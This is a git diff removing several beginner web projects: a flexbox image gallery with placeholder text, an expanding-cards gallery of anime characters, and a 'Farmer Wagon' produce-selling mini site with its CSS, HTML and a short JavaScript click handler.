Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus luctus luctus aliquet. Morbi ac blandit massa. Etiam a est sit amet libero porttitor fringilla et ut arcu. Quisque auctor sem vel dui consequat, sit amet lacinia nisl pellentesque. Curabitur auctor convallis lacus, eget semper ligula auctor in. Vestibulum in risus augue. Aenean tempor tincidunt vehicula
-
-
-
- -
-

Sunset Succulents

-
Duis turpis risus, ornare vel consectetur et, convallis non risus. Etiam et nisi eget risus tincidunt lobortis cursus ac sem. Pellentesque leo tellus, fermentum eu consectetur ac, posuere sit amet neque.
-
-
-
- -
-

The Masterpiece

-
Fusce malesuada mi lorem, sit amet consequat arcu porta a. Aenean elementum mi turpis. Integer tincidunt venenatis gravida. Proin eget pellentesque enim, eget egestas sapien.
-
-
-
- -
-

The Winter Garden

-
Pellentesque commodo, odio id auctor commodo, diam dui vehicula tortor, ac posuere eros ipsum at quam. Duis elementum, lectus sit amet condimentum congue, quam neque pulvinar neque, quis suscipit libero dui vel massa. Proin egestas, ante eu dignissim aliquam, diam lorem cursus felis, vel varius urna mi non lorem. Nam mattis arcu vel mi pellentesque cursus.
-
-
-
-
- - - - diff --git a/Add Code Here/Websites/Floral-Flexbox/dist/style.css b/Add Code Here/Websites/Floral-Flexbox/dist/style.css deleted file mode 100644 index a03230ffdae..00000000000 --- a/Add Code Here/Websites/Floral-Flexbox/dist/style.css +++ /dev/null @@ -1,142 +0,0 @@ -/* References: https://www.w3schools.com/howto/howto_css_image_grid_responsive.asp https://www.imarketinx.de/artikel/text-centered-on-image.html -https://www.w3schools.com/howto/howto_css_image_overlay.asp */ - -@import url("https://fonts.googleapis.com/css2?family=Aref+Ruqaa+Ink:wght@400;700&display=swap"); - -body { - margin: 0; - padding: 0; - font-family: "Aref Ruqaa Ink", serif; -} - -h1 { - margin-top: 150px; - text-align: center; - max-width: 100px; -} - -.row { - display: flex; - flex-wrap: wrap; - padding: 0 4px; -} - -.column { - flex: 23%; - max-width: 23%; - padding: 0 4px; -} - -.column img { - margin-top: 8px; - vertical-align: middle; - width: 100%; -} - -a { - text-decoration: none; - color: black; -} - -a:hover { - color: MediumVioletRed; -} - -nav { - display: flex; - flex-direction: column; - align-items: center; -} - -nav a { - border-top: thin solid black; - text-transform: uppercase; - font-size: 20px; - margin-top: 20px; - margin-bottom: 20px; - padding-top: 20px; -} - -.box-flex { - display: flex; - flex-flow: row nowrap; - align-items: center; - justify-content: center; - position: relative; - text-align: center; - font-size: 0.7rem; - word-break: break-word; - color: #d9d9d9; - opacity: 1; -} - -img { - display: block; - width: 100%; - height: auto; -} - -.overlay { - word-break: break-word; - position: absolute; - bottom: 0; - left: 0; - right: 0; - background-color: rgba(0, 0, 0, 0.5); - overflow: scroll; - width: 100%; - height: 98%; - transform: scale(0); - transition: 0.7s ease; -} - -.box-flex:hover .overlay { - transform: scale(1); -} - -.text { - padding: 15px; -} - -@media screen and (max-width: 800px) { - .column { - flex: 47%; - max-width: 47%; - } - .box-flex { - font-size: 0.9rem; - } - .second, - .third { - display: none; - } -} - -@media screen and (max-width: 600px) { - .column { - flex: 100%; - max-width: 100%; - } - .box-flex { - font-size: 0.9rem; - } - .second, - .third { - display: none; - } - h1 { - max-width: 300px; - margin-top: 50px; - } - nav a { - border-top: none; - text-transform: uppercase; - font-size: 16px; - margin-top: 5px; - margin-bottom: 5px; - padding-top: 5px; - } - nav a:last-child { - margin-bottom: 30px; - } -} \ No newline at end of file diff --git a/Add Code Here/Websites/Floral-Flexbox/src/index.html b/Add Code Here/Websites/Floral-Flexbox/src/index.html deleted file mode 100644 index 58afb417ace..00000000000 --- a/Add Code Here/Websites/Floral-Flexbox/src/index.html +++ /dev/null @@ -1,146 +0,0 @@ -
- -
-
- -
-

Paradise in Pink

-
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus luctus luctus aliquet. Morbi ac blandit massa. Etiam a est sit amet libero porttitor fringilla et ut arcu. Quisque auctor sem vel dui consequat, sit amet lacinia nisl pellentesque. Curabitur auctor convallis lacus, eget semper ligula auctor in. Vestibulum in risus augue. Aenean tempor tincidunt vehicula
-
-
-
- -
-

The Masterpiece

-
Fusce malesuada mi lorem, sit amet consequat arcu porta a. Aenean elementum mi turpis. Integer tincidunt venenatis gravida. Proin eget pellentesque enim, eget egestas sapien.
-
-
-
- -
-

Minimalist Elegance

-
Quisque vitae rhoncus neque. Nunc cursus auctor ornare. Pellentesque et congue metus, in sagittis sapien. Proin tincidunt ligula a sem ultrices, eu aliquam augue sodales
-
-
-
- -
-

Sunset Succulents

-
Duis turpis risus, ornare vel consectetur et, convallis non risus. Etiam et nisi eget risus tincidunt lobortis cursus ac sem. Pellentesque leo tellus, fermentum eu consectetur ac, posuere sit amet neque.
-
-
-
- -
-

The Winter Garden

-
Pellentesque commodo, odio id auctor commodo, diam dui vehicula tortor, ac posuere eros ipsum at quam. Duis elementum, lectus sit amet condimentum congue, quam neque pulvinar neque, quis suscipit libero dui vel massa. Proin egestas, ante eu dignissim aliquam, diam lorem cursus felis, vel varius urna mi non lorem. Nam mattis arcu vel mi pellentesque cursus.
-
-
-
- -
-

Spring Radiance

-
Morbi dictum tincidunt ante id condimentum. Curabitur ligula libero, sodales id semper non, finibus a ligula. Aenean arcu nisl, vehicula nec fermentum a, auctor a ligula. Praesent in vulputate ligula.
-
-
-
- -
-
- -
-

Sunset Succulents

-
Duis turpis risus, ornare vel consectetur et, convallis non risus. Etiam et nisi eget risus tincidunt lobortis cursus ac sem. Pellentesque leo tellus, fermentum eu consectetur ac, posuere sit amet neque.
-
-
-
- -
-

The Winter Garden

-
Pellentesque commodo, odio id auctor commodo, diam dui vehicula tortor, ac posuere eros ipsum at quam. Duis elementum, lectus sit amet condimentum congue, quam neque pulvinar neque, quis suscipit libero dui vel massa. Proin egestas, ante eu dignissim aliquam, diam lorem cursus felis, vel varius urna mi non lorem. Nam mattis arcu vel mi pellentesque cursus.
-
-
-
- -
-

Spring Radiance

-
Morbi dictum tincidunt ante id condimentum. Curabitur ligula libero, sodales id semper non, finibus a ligula. Aenean arcu nisl, vehicula nec fermentum a, auctor a ligula. Praesent in vulputate ligula. -
-
-
-
- -
-

Paradise in Pink

-
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus luctus luctus aliquet. Morbi ac blandit massa. Etiam a est sit amet libero porttitor fringilla et ut arcu. Quisque auctor sem vel dui consequat, sit amet lacinia nisl pellentesque. Curabitur auctor convallis lacus, eget semper ligula auctor in. Vestibulum in risus augue. Aenean tempor tincidunt vehicula
-
-
-
- -
-

Minimalist Elegance

-
Quisque vitae rhoncus neque. Nunc cursus auctor ornare. Pellentesque et congue metus, in sagittis sapien. Proin tincidunt ligula a sem ultrices, eu aliquam augue sodales
-
-
-
- -
-

The Masterpiece

-
Fusce malesuada mi lorem, sit amet consequat arcu porta a. Aenean elementum mi turpis. Integer tincidunt venenatis gravida. Proin eget pellentesque enim, eget egestas sapien.
-
-
-
-
-
- -
-

Spring Radiance

-
Morbi dictum tincidunt ante id condimentum. Curabitur ligula libero, sodales id semper non, finibus a ligula. Aenean arcu nisl, vehicula nec fermentum a, auctor a ligula. Praesent in vulputate ligula.
-
-
-
- -
-

Minimalist Elegance

-
Quisque vitae rhoncus neque. Nunc cursus auctor ornare. Pellentesque et congue metus, in sagittis sapien. Proin tincidunt ligula a sem ultrices, eu aliquam augue sodales -
-
-
-
- -
-

Paradise in Pink

-
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus luctus luctus aliquet. Morbi ac blandit massa. Etiam a est sit amet libero porttitor fringilla et ut arcu. Quisque auctor sem vel dui consequat, sit amet lacinia nisl pellentesque. Curabitur auctor convallis lacus, eget semper ligula auctor in. Vestibulum in risus augue. Aenean tempor tincidunt vehicula
-
-
-
- -
-

Sunset Succulents

-
Duis turpis risus, ornare vel consectetur et, convallis non risus. Etiam et nisi eget risus tincidunt lobortis cursus ac sem. Pellentesque leo tellus, fermentum eu consectetur ac, posuere sit amet neque.
-
-
-
- -
-

The Masterpiece

-
Fusce malesuada mi lorem, sit amet consequat arcu porta a. Aenean elementum mi turpis. Integer tincidunt venenatis gravida. Proin eget pellentesque enim, eget egestas sapien.
-
-
-
- -
-

The Winter Garden

-
Pellentesque commodo, odio id auctor commodo, diam dui vehicula tortor, ac posuere eros ipsum at quam. Duis elementum, lectus sit amet condimentum congue, quam neque pulvinar neque, quis suscipit libero dui vel massa. Proin egestas, ante eu dignissim aliquam, diam lorem cursus felis, vel varius urna mi non lorem. Nam mattis arcu vel mi pellentesque cursus.
-
-
-
-
\ No newline at end of file diff --git a/Add Code Here/Websites/Floral-Flexbox/src/style.css b/Add Code Here/Websites/Floral-Flexbox/src/style.css deleted file mode 100644 index 43e8a2b3740..00000000000 --- a/Add Code Here/Websites/Floral-Flexbox/src/style.css +++ /dev/null @@ -1,147 +0,0 @@ -/* References: https://www.w3schools.com/howto/howto_css_image_grid_responsive.asp https://www.imarketinx.de/artikel/text-centered-on-image.html -https://www.w3schools.com/howto/howto_css_image_overlay.asp */ - -@import url("https://fonts.googleapis.com/css2?family=Aref+Ruqaa+Ink:wght@400;700&display=swap"); - -body { - margin: 0; - padding: 0; - font-family: "Aref Ruqaa Ink", serif; -} - -h1 { - margin-top: 150px; - text-align: center; - max-width: 100px; -} - -.row { - display: flex; - flex-wrap: wrap; - padding: 0 4px; -} - -.column { - flex: 23%; - max-width: 23%; - padding: 0 4px; -} - -.column img { - margin-top: 8px; - vertical-align: middle; - width: 100%; -} - -a { - text-decoration: none; - color: black; -} - -a:hover { - color: MediumVioletRed; -} - -nav { - display: flex; - flex-direction: column; - align-items: center; -} - -nav a { - border-top: thin solid black; - text-transform: uppercase; - font-size: 20px; - margin-top: 20px; - margin-bottom: 20px; - padding-top: 20px; -} - -.box-flex { - display: flex; - flex-flow: row nowrap; - align-items: center; - justify-content: center; - position: relative; - text-align: center; - font-size: 0.7rem; - word-break: break-word; - color: #d9d9d9; - opacity: 1; -} - -img { - display: block; - width: 100%; - height: auto; -} - -.overlay { - word-break: break-word; - position: absolute; - bottom: 0; - left: 0; - right: 0; - background-color: rgba(0, 0, 0, 0.5); - overflow: scroll; - width: 100%; - height: 98%; - -webkit-transform: scale(0); - -ms-transform: scale(0); - transform: scale(0); - -webkit-transition: 0.3s ease; - transition: 0.7s ease; -} - -.box-flex:hover .overlay { - -webkit-transform: scale(1); - -ms-transform: scale(1); - transform: scale(1); -} - -.text { - padding: 15px; -} - -@media screen and (max-width: 800px) { - .column { - flex: 47%; - max-width: 47%; - } - .box-flex { - font-size: 0.9rem; - } - .second, - .third { - display: none; - } -} - -@media screen and (max-width: 600px) { - .column { - flex: 100%; - max-width: 100%; - } - .box-flex { - font-size: 0.9rem; - } - .second, - .third { - display: none; - } - h1 { - max-width: 300px; - margin-top: 50px; - } - nav a { - border-top: none; - text-transform: uppercase; - font-size: 16px; - margin-top: 5px; - margin-bottom: 5px; - padding-top: 5px; - } - nav a:last-child { - margin-bottom: 30px; - } -} diff --git a/Add Code Here/Websites/Gallery App/Images/Armin.jpg b/Add Code Here/Websites/Gallery App/Images/Armin.jpg deleted file mode 100644 index 14d295e73b8..00000000000 Binary files a/Add Code Here/Websites/Gallery App/Images/Armin.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Gallery App/Images/Eren.jpg b/Add Code Here/Websites/Gallery App/Images/Eren.jpg deleted file mode 100644 index c7b9632e02b..00000000000 Binary files a/Add Code Here/Websites/Gallery App/Images/Eren.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Gallery App/Images/Erwin.jpg b/Add Code Here/Websites/Gallery App/Images/Erwin.jpg deleted file mode 100644 index f477167cdb9..00000000000 Binary files a/Add Code Here/Websites/Gallery App/Images/Erwin.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Gallery App/Images/Levi.jpg b/Add Code Here/Websites/Gallery App/Images/Levi.jpg deleted file mode 100644 index dc4454724d4..00000000000 Binary files a/Add Code Here/Websites/Gallery App/Images/Levi.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Gallery App/Images/Mikasa.jpg b/Add Code Here/Websites/Gallery App/Images/Mikasa.jpg deleted file mode 100644 index ba838715f42..00000000000 Binary files a/Add Code Here/Websites/Gallery App/Images/Mikasa.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Gallery App/Images/button.png b/Add Code Here/Websites/Gallery App/Images/button.png deleted file mode 100644 index b2300b8fc70..00000000000 Binary files a/Add Code Here/Websites/Gallery App/Images/button.png and /dev/null differ diff --git a/Add Code Here/Websites/Gallery App/index.html b/Add Code Here/Websites/Gallery App/index.html deleted file mode 100644 index ce41b7599de..00000000000 --- a/Add Code Here/Websites/Gallery App/index.html +++ /dev/null @@ -1,56 +0,0 @@ - - - - - - - - - - - - - Expanding Cards - - - - - -
- -
-
-

EREN JAEGER

-
-
-

MIKASA ACKERMAN

-
-
-

LEVI ACKERMAN

-
-
-

ERWIN SMITH

-
-
-

ARMIN ARLERT

-
- -
-
- - - - diff --git a/Add Code Here/Websites/Gallery App/script.js b/Add Code Here/Websites/Gallery App/script.js deleted file mode 100644 index a8a13bfeb96..00000000000 --- a/Add Code Here/Websites/Gallery App/script.js +++ /dev/null @@ -1,26 +0,0 @@ -const panels = document.querySelectorAll('.panel'); -const btn = document.getElementById('btn'); -const con = document.getElementById('container'); -// console.log(panels) - -panels.forEach((element)=>{ - element.addEventListener('click',()=>{ - con.classList.remove('set');; - removeactive(); - element.classList.add('active'); - - }) -}) - -btn.addEventListener('click',()=>{ - panels.forEach((ele)=>{ - ele.classList.remove('active'); - con.classList.add('set'); - }) -}) - - function removeactive(){ - panels.forEach((element)=>{ - element.classList.remove('active'); - }) - } \ No newline at end of file diff --git a/Add Code Here/Websites/Gallery App/style.css b/Add Code Here/Websites/Gallery App/style.css deleted file mode 100644 index ae7f230dd40..00000000000 --- a/Add Code Here/Websites/Gallery App/style.css +++ /dev/null @@ -1,80 +0,0 @@ -.container{ - height: 70vh; - width: 80vw; - display: flex; - justify-content: center; - align-items: center; - /* border: 2px solid black; */ -} -.container.set{ - width: 50vw; - transition: width 1s ease-out; -} - -.outer{ - /* border: 2px solid black; */ - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; -} - -.outer button{ - margin: 40px; - padding: 10px; - line-height: 20px; - background-color: #7d7c7c66; - border-radius: 10px; - color: black; - transition: all 600ms ease-out; - font-weight: 600; - outline: none; - border: none; -} -.outer button:hover{ - /* background-color: rgb(187, 171, 147); */ - padding: 10px 20px; - cursor: pointer; - -} - -.panel{ - border: 2px solid black; - height: 100%; - background-size: auto 100%; - background-repeat: no-repeat; - background-position: center; - border-radius: 50px; - overflow: hidden; - margin: 10px; - cursor: pointer; - flex: 0.5; - border: 2px solid black; - transition: flex 700ms ease-out; -} - -.panel h3{ - color: white; - font-size: 24px; - text-transform: capitalize; - opacity: 0; -} - -.panel.active{ - flex: 5; - background-size: cover; -} -.panel.active h3{ - opacity: 1; - margin: 20px 10px; - transition: opacity 600ms ease-in 0.3s; -} - -@media (max-width: 480px) { - .panel:nth-of-type(4),.panel:nth-of-type(5){ - display: none; - } - .container{ - width: 100vw; - } -} \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/2.jpg b/Add Code Here/Websites/HTML/Final Mini Project/2.jpg deleted file mode 100644 index 4b1ede108d6..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/2.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/DFD Chart.png b/Add Code Here/Websites/HTML/Final Mini Project/DFD Chart.png deleted file mode 100644 index 2b427d458c9..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/DFD Chart.png and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/Guava.jpg b/Add Code Here/Websites/HTML/Final Mini Project/Guava.jpg deleted file mode 100644 index 9cfaf31db9a..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/Guava.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/Home.css b/Add Code Here/Websites/HTML/Final Mini Project/Home.css deleted file mode 100644 index f22378b72c4..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/Home.css +++ /dev/null @@ -1,274 +0,0 @@ -* { - margin: 0px; - padding: 0px; - scroll-behavior: smooth; -} - -/* Navbar */ - -#navbar { - display: flex; - position: sticky !important; - margin: 0px 20px; - padding: 30px 0px; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; - color: white; -} - -#navbar p { - font-size: 2rem; -} - -#navbar p a { - text-decoration: none; - color: white; -} - -#navbar ul { - display: flex; -} - -#navbar ul li { - display: flex; - list-style: none; - margin: 10px; -} - -#navbar ul li a { - color: white; - text-decoration: none; -} - -#navbar ul li a:active { - color: #8DC424; -} - -#navbar ul li a:hover { - color: #8DC424; -} - -/* Heading */ - -.image { - background: rgba(0, 0, 0, 0.4); -} - -.background { - display: flex; - align-items: center; - height: 700px; - padding: 80px 0px; - color: white; -} - -.background::before { - content: ""; - position: fixed; - z-index: -1; - height: 140%; - width: 100%; - background: url("land.jpg") no-repeat center center/cover; -} - -.background-container { - display: flex; - margin-right: auto; - margin-left: auto; -} - -.heading { - display: inline-block; -} - -.heading h1 { - font-size: 4rem; - width: 500px; - display: flex; - font-family: 'Playfair Display SC', serif; -} - -.heading p { - padding-top: 20px; - width: 300px; - font-weight: bold; - font-family: 'Source Sans Pro', sans-serif; -} - -/* Colour */ - -.colour { - display: flex; - align-items: center; - justify-content: center; - padding: 60.3px 0px; - background-color: #5c8018; -} - -.colour-image { - display: flex; - flex-direction: row-reverse; - padding: 0px 15px; -} - -.colour-image img { - height: 300px; - width: 500px; - border-radius: 5px; - margin: 0px 10px; - background: url("image1.jfif") -} - -.colour-text { - display: inline-block; - width: 800px; - padding: 0px 15px; -} - -.colour-text h2 { - color: white; - font-size: 32px; - margin-bottom: 16px; -} - -.colour-text p { - color: white; - margin-bottom: 11.54px; -} - -.contact { - background-color: black; - height: auto; - color: white; - padding: 60.3px; -} - -.contact-contain { - display: inline-block; - margin-left: 400px; - align-items: center; - height: auto; - padding: 32px; - background-color: #111111; -} - -.contact-container img { - height: 30px; - width: 30px; - margin-bottom: 16px; - filter: invert(1); -} - -.contact-container h1 { - color: #8DC424; - font-family: 'Playfair Display SC', serif; - margin-bottom: 16px; -} - -.contact-container p { - margin-bottom: 16px; -} - -/* Form Box */ - -.contact-form { - display: flex; -} - -.contact-form-items { - padding: 16px 12px; - text-align: center; - width: 500px; - border-radius: 5px; - margin-bottom: 12px; - font-size: 16px; -} - -#button { - padding: 5px; - margin-top: 10px; - border-radius: 5px; - background-color: #5c8018; - color: white; - font-size: 18px; - width: 110px; - height: 45px; -} - -#button:hover { - background-color: #8DC424; -} - -/* footer */ - -footer { - background-color: white; -} - -.container { - margin: 0px 265.8px; - padding: 24px 15px; -} - -#container-navbar { - display: flex; - flex-wrap: wrap; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; -} - -#container-navbar p { - font-size: 20px; -} - -#container-navbar ul { - display: flex; -} - -#container-navbar ul li { - display: flex; - list-style: none; - color: #000000BF; - margin-right: 10px; -} - -#container-navbar ul li a { - color: #000000BF; - text-decoration: none; -} - -.hr { - margin: 16px 0px; -} - -.container-grid { - display: grid; - grid-template-columns: 1fr 1fr; -} - -.container-grid h4 { - font-size: 20px; - margin-bottom: 10px; - font-family: 'Playfair Display SC', serif; -} - -.container-grid p { - color: #000000BF; -} - -#footer-website { - font-family: 'Playfair Display SC', serif; - font-weight: bold; -} - -#extra { - margin-bottom: 16px; -} - -/* Utility Classes */ - -.font { - font-family: 'Source Sans Pro', sans-serif; -} \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/Home.html b/Add Code Here/Websites/HTML/Final Mini Project/Home.html deleted file mode 100644 index ba7e5c88866..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/Home.html +++ /dev/null @@ -1,117 +0,0 @@ - - - - - - - - Farmer Wagon | Home - - - - - - - -
- -
-
-
-

Welcome to Farmer Wagon

-
-
-

Learn more about growing the best crops for the seasons or order from our farms to get fresh - products every day.

-

-
-
-
-
-
-
- image1 - image1 -
-
-

Welcome To Our Website

-

Helping farmers sell their products globally, teaching them new techniques, generating - employment for over 10,000+ workers. 1,000+ satisfied customers, providing them with fresh veggies every - day.

-

Join us Now!

-
-
-
- -
-
- mail-image -

Contact Us

-

Be in Touch With Us | Mail Us For Any Query

-
-
-
-
- -
-
- -
-
- -
-
- -
-
- -
-
-
-
-
-
-
-
- - -
-
-
-
-
-
-

Address

-

46 Kapol Niwas, New Putlibai Sv Road

-

Vile Parle West, Mumbai, India

-
-
-

About Us

-

*Need to change* Achieve the best results with our help. Helping - farmers get benefits of - their hard work. Worldwide reach and on-site quality-check.

-
-
-
-
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/Rice.jpg b/Add Code Here/Websites/HTML/Final Mini Project/Rice.jpg deleted file mode 100644 index 4a8e134a6c0..00000000000 Binary files a/Add Code Here/Websites/HTML/Final Mini Project/Rice.jpg and /dev/null differ diff --git a/Add Code Here/Websites/HTML/Final Mini Project/Service.css b/Add Code Here/Websites/HTML/Final Mini Project/Service.css deleted file mode 100644 index 2927efd0bcc..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/Service.css +++ /dev/null @@ -1,197 +0,0 @@ -* { - margin: 0px; - padding: 0px; -} - -/* Navbar */ - -#navbar { - display: flex; - position: sticky; - padding: 30px 20px; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; - background-color: black; - color: #5c8018; -} - -#navbar p { - font-size: 2rem; -} - -#navbar p a { - text-decoration: none; - color: white; -} - -#navbar ul { - display: flex; -} - -#navbar ul li { - display: flex; - list-style: none; - margin: 10px; -} - -#navbar ul li a { - color: white; - text-decoration: none; -} - -#navbar ul li a:hover { - color: #8DC424; -} - -/* Main Body */ - -.main { - display: flex; - align-items: center; - justify-content: center; - height: auto; - padding: 60.3px 0px; - background-color: black; - color: white; -} - -.main-body-grid { - margin: 0px 123.9px; - padding: 0px 15px; - display: grid; - grid-template-columns: 1fr 1fr 1fr; - column-gap: 30px; - row-gap: 30px; -} - -.main-body-grid-item { - background-color: #1d1d1d; -} - -.main-body-grid-item img { - height: 230px; - width: 360px; - margin: 20px 0px; - opacity: 0.95; - ; -} - -.main-body-grid-item-text { - padding: 16px 24px; -} - -.main-body-grid-item:hover { - transform: scale(1.05); - transition-duration: 0.45s; -} - -.main-body-grid-item-text h2 { - font-family: 'Playfair Display SC', serif; - font-size: 28px; -} - -.main-body-grid-item-text p { - margin-top: 8px; - font-family: 'Source Sans Pro', sans-serif; - font-weight: bold; - font-size: 16px; -} - -.main-body-grid-item-text input { - margin-top: 24px; - text-align: center; - height: 35px; - width: 85px; - border-radius: 5px; - background-color: #5c8018; - color: white; - font-family: 'Source Sans Pro', sans-serif; - border: 0px; - font-size: 14px; - font-weight: bold; - cursor: pointer; -} - -.main-body-grid-item-text input:active { - transform: scale(0.9); - background-color: #8DC424; -} - -.main-body-grid-item hr { - border: 1px solid #5c8018; - background-color: #5c8018; -} - -/* footer */ - -footer { - background-color: white; -} - -.container { - margin: 0px 265.8px; - padding: 24px 15px; -} - -#container-navbar { - display: flex; - flex-wrap: wrap; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; -} - -#container-navbar p { - font-size: 20px; -} - -#container-navbar ul { - display: flex; -} - -#container-navbar ul li { - display: flex; - list-style: none; - color: #000000BF; - margin-right: 10px; -} - -#container-navbar ul li a { - color: #000000BF; - text-decoration: none; -} - -.hr { - margin: 16px 0px; -} - -.container-grid { - display: grid; - grid-template-columns: 1fr 1fr; -} - -.container-grid h4 { - font-size: 20px; - margin-bottom: 10px; - font-family: 'Playfair Display SC', serif; -} - -.container-grid p { - color: #000000BF; -} - -#footer-website { - font-family: 'Playfair Display SC', serif; - font-weight: bold; -} - -#extra { - margin-bottom: 16px; -} - -/* Utility Class */ - -.font { - font-family: 'Source Sans Pro', sans-serif; -} \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/Services.html b/Add Code Here/Websites/HTML/Final Mini Project/Services.html deleted file mode 100644 index f461f704c64..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/Services.html +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - Farmer Wagon | Services - - - - - -
- -
-
-
-
- crops -
-
-

Wheat

-

₹ 30.00 / Kg

- -
-
-
- crops -
-
-

Guava

-

₹ 20.00 / Kg

- -
-
-
- crops -
-
-

Rice

-

₹ 68.00 / Kg

- -
-
-
- crops -
-
-

Alphonso Mango

-

₹ 275.00 / Kg

- -
-
-
- crops -
-
-

Pineapple

-

₹ 800.00 / Kg

- -
-
-
- crops -
-
-

Banana

-

₹ 30.00 / Kg

- -
-
-
-
-
-
-
-
-
- - -
-
-
-
-
-
-

Address

-

46 Kapol Niwas, New Putlibai Sv Road

-

Vile Parle West, Mumbai, India

-
-
-

About Us

-

*Need to change* Achieve the best results with our help. Helping - farmers get benefits of - their hard work. Worldwide reach and on-site quality-check.

-
-
-
-
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/aboutus.css b/Add Code Here/Websites/HTML/Final Mini Project/aboutus.css deleted file mode 100644 index bda72393aa6..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/aboutus.css +++ /dev/null @@ -1,159 +0,0 @@ -* { - margin: 0px; - padding: 0px; -} - -/* Navbar */ - -#navbar { - display: flex; - position: sticky; - padding: 30px 20px; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; - background-color: black; -} - -#navbar p { - font-size: 2rem; -} - -#navbar p a { - text-decoration: none; - color: white; -} - -#navbar ul { - display: flex; -} - -#navbar ul li { - display: flex; - list-style: none; - margin: 10px; -} - -#navbar ul li a { - color: white; - text-decoration: none; -} - -#navbar ul li a:hover { - color: #8DC424; -} - -/* body */ - -.body { - margin-top: 50px; - color: white; -} - -#one { - background-color: #5c8018; - margin-bottom: 50px; - height: 550px; -} -#one h1{ - padding-top: 20px; - padding-left: 60px; - font-family: 'Source Sans Pro', sans-serif; -} -#one p { - padding: 10px 60px; - font-family: 'Source Sans Pro', sans-serif; -} - -#o { - display: flex; - justify-content: center; - align-items: center; -} - -#o img { - padding: 20px; - justify-content: center; - align-self: center; - border-radius: 50%; - height: 260px; - width: 260px; -} - -#one img:hover { - transform: scale(1.1); - transition: 0.6s; -} - -/* footer */ - -footer { - background-color: white; -} - -.container { - margin: 0px 265.8px; - padding: 24px 15px; -} - -#container-navbar { - display: flex; - flex-wrap: wrap; - justify-content: space-between; - align-items: center; - font-family: 'Source Sans Pro', sans-serif; -} - -#container-navbar p { - font-size: 20px; -} - -#container-navbar ul { - display: flex; -} - -#container-navbar ul li { - display: flex; - list-style: none; - color: #000000BF; - margin-right: 10px; -} - -#container-navbar ul li a { - color: #000000BF; - text-decoration: none; -} - -.hr { - margin: 16px 0px; -} - -.container-grid { - display: grid; - grid-template-columns: 1fr 1fr; -} - -.container-grid h4 { - font-size: 20px; - margin-bottom: 10px; - font-family: 'Playfair Display SC', serif; -} - -.container-grid p { - color: #000000BF; -} - -#footer-website { - font-family: 'Playfair Display SC', serif; - font-weight: bold; -} - -#extra { - margin-bottom: 16px; -} - -/* Utility Classes */ - -.font { - font-family: 'Source Sans Pro', sans-serif; -} \ No newline at end of file diff --git a/Add Code Here/Websites/HTML/Final Mini Project/aboutus.html b/Add Code Here/Websites/HTML/Final Mini Project/aboutus.html deleted file mode 100644 index f8f8ede014b..00000000000 --- a/Add Code Here/Websites/HTML/Final Mini Project/aboutus.html +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - Farmer Wagon | About Us - - - - - - - - -
-
-

Learn More About Us

-

Created in 2005 to help farmers get the best price for their products. Generating employment for 10,000+ workers every year. Teaching farmers the right skills to sell their crops and yield the best results while at the comfort of their own homes. 2500+ happy farmers, working with us for 5 years. Helping customers get fresh products delivered to them daily near their stores. All over India shipping to get you your products early and fresh straight from the fields. Join our classes, and learn from the experts to increase your production and keep the cost at minimal.Join the Farmer Wagon to achieve what's best for you. -

-

- Helping customers get fresh products delivered to them daily near their stores. All over India shipping to get you your products early and fresh straight from the fields. Join our classes, and learn from the experts to increase your production and keep the cost at minimal.Join the Farmer Wagon to achieve what's best for you. -

-
- image - image - image -
-
-
- -
-
-
-
-
- - -
-
-
-
-
-
-

Address

-

46 Kapol Niwas, New Putlibai Sv Road

-

Vile Parle West, Mumbai, India

-
-
-

About Us

-

*Need to change* Achieve the best results with our help. Helping - farmers get benefits of - their hard work. Worldwide reach and on-site quality-check.

-
-
-
-
